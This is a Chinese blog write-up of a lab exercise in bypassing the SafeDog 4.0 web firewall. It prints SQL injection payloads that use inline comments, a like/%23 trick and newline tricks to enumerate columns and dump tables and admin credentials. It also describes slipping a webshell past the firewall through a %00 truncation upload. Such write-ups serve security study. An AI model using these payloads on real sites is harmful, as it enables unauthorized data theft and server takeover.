安全狗4.0绕过

学习一番bypass之后对安全狗4.0做了一次绕过实战,在本次绕狗过程中遇到了很多困难,记录这次坎坷的绕过历程。

sql注入

注入点绕过

打开靶场,正常访问为此页面

image.png
尝试测试注入点,打入payload直接被狗给拦截了。

image.png

自此过狗开始,首先试一下之前学的内联注释绕过,/*!12345and*/发现被拦截了,这里尝试fuzz一下,发现更改内联注释内容还可以绕过成功。

image.png

image.png

image.png

通过以下语句绕过成功
http://192.168.2.163/sqltest/showproducts.php?id=13/*!10444and*/1=1

内联注释绕过的原理:
/*!xxxxx*/内联注释的内容数字大于版本号时会将内容注释掉,当小于版本号时仍会被mysql执行。内容需5位数,经过测试发现,数字中有4会更可能绕过成功!所以/*!12345and*/ 1=1等价于and 1=1

image.png

内联查询绕过

然后通过联合注入判断回显位置,但是在这一环节中自己尝试绕过很久没有成功,H老师甩我一个绕过的骚姿势,有一说一,着实牛逼。

首先通过fuzz发现没有过滤#字符。

image.png

然后通过like "[%23]"语句进行绕过
id=-13 like "[%23]" /*!10444union%0aselect*/ --+
image.png

绕过原理:

在mysql中为注释符,会注释掉#后面的语句。

同时like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinon select语句。

所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。
id=-13 like "[%23]" /*!10444union%0aselect*/--+
注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在union select中间再加入%0a换行即可绕过。

然后通过穷举的方式找出回显列数,经过测试发现,共有10列,且2,6,7,8,10可以回显数据。
id=-13 like "[%23]" /*!10444union%0aselect*/1 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9,10 --+

image.png

通过绕过语句拿下数据库,这里对database()函数做了绕过,函数中间加入/*!10444*/,这里安全狗的规则猜测是database和()不能在一起。

id=-13 like "[%23]" /*!10444union%0aselect*/1,database(/*!10444*/),3,4,5,6,7,8,9,10 --+

image.png

获取数据

通过上述的绕过方式,已经拿到数据库了,本以为可以轻松结束战斗拿到账号密码,没想到再获取数据的过程中又卡了我一个晚上,还是太菜了~

通过暴库语句可以查询到数据库(在sqllab靶场确定语句没有问题),也没有触发安全狗的规则,但是无法爆出表名。

爆表
id=-13 like "[%23]" /*!10444union%0aselect*/ 1,2,3,4,5,6,group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/),8,9,10 --+

image.png

于是乎我打开之前打过的xycms靶场,测试同样的语句,回显跟实验室靶场相同无法获取表名,但是之前打靶场的时候使用sqlmap可以把数据跑出来。

百思不得其姐下把sqlmap代理到burp,抓包看看sqlmap到底做了什么操作竟然能把数据给搞出来。结果是sqlmap把表名爆出来了,但burp抓到的sqlmap响应包中同样没有数据,离谱\==。

这里猜测网站对数据库的操作做了限制,或者对group_concat()语句做了限制,但是为什么sqlmap可以跑出来没有找到原因。

image.png

第二天,潘神给了个建议,不用group_concat直接select查字段试试,果然,成了!

id=-13 like "[%23]" /*!10444union%0aselect*/1,table_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/)--+
注:from后面加如/*%23*/的方式绕过安全狗

image.png
然后查字段,查值,最后拿到账号密码。

爆列
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,column_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.columns where table_schema=database(/*!10444%0a*/) /*!10444and*/ table_name='manage_user' limit 1,2--+
爆值
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,m_name,m_pwd,8,9,10 /*!10444from*/ /*%23*/manage_user --+
image.png
通过md5解密拿到密码admin

image.png

文件上传

看了很多篇文件上传绕过文章,尝试了很多种方法,脏数据填充、长文件名多种绕过方式,但都没绕过被拦截了,只成功了这一种。

%00截断绕过

首先搞个一句话木马

image.png

上传一句话木马被安全狗拦截

image.png

采用%00截断的方式绕过安全够,在burp中抓包,然后将%00做url解码

image.png
但上传失败,网站显示文件类型不正确,网站本身也做了MIME文件校验。

image.png

这里修改文件类型为png,再次上传,上传成功,成功绕过!

image.png

使用冰蝎连接马子,但是这里发现连接失败。

image.png

访问该文件时,发现马儿被安全狗给拦截了

image.png

再上传一个免杀的冰蝎马儿,添加%00截断,修改文件类型、最后上传连接成功,并执行命令。

image.png

image.png

  • 发表于 2022-11-01 09:30:01
  • 阅读 ( 11150 )
  • 分类:WEB安全

2 条评论

scr1pt
我司xd?
请先 登录 后评论
mir1ce
一看就是我司的,前段时间我也刚打完这个实验
请先 登录 后评论
请先 登录 后评论
hatang
hatang

1 篇文章

站长统计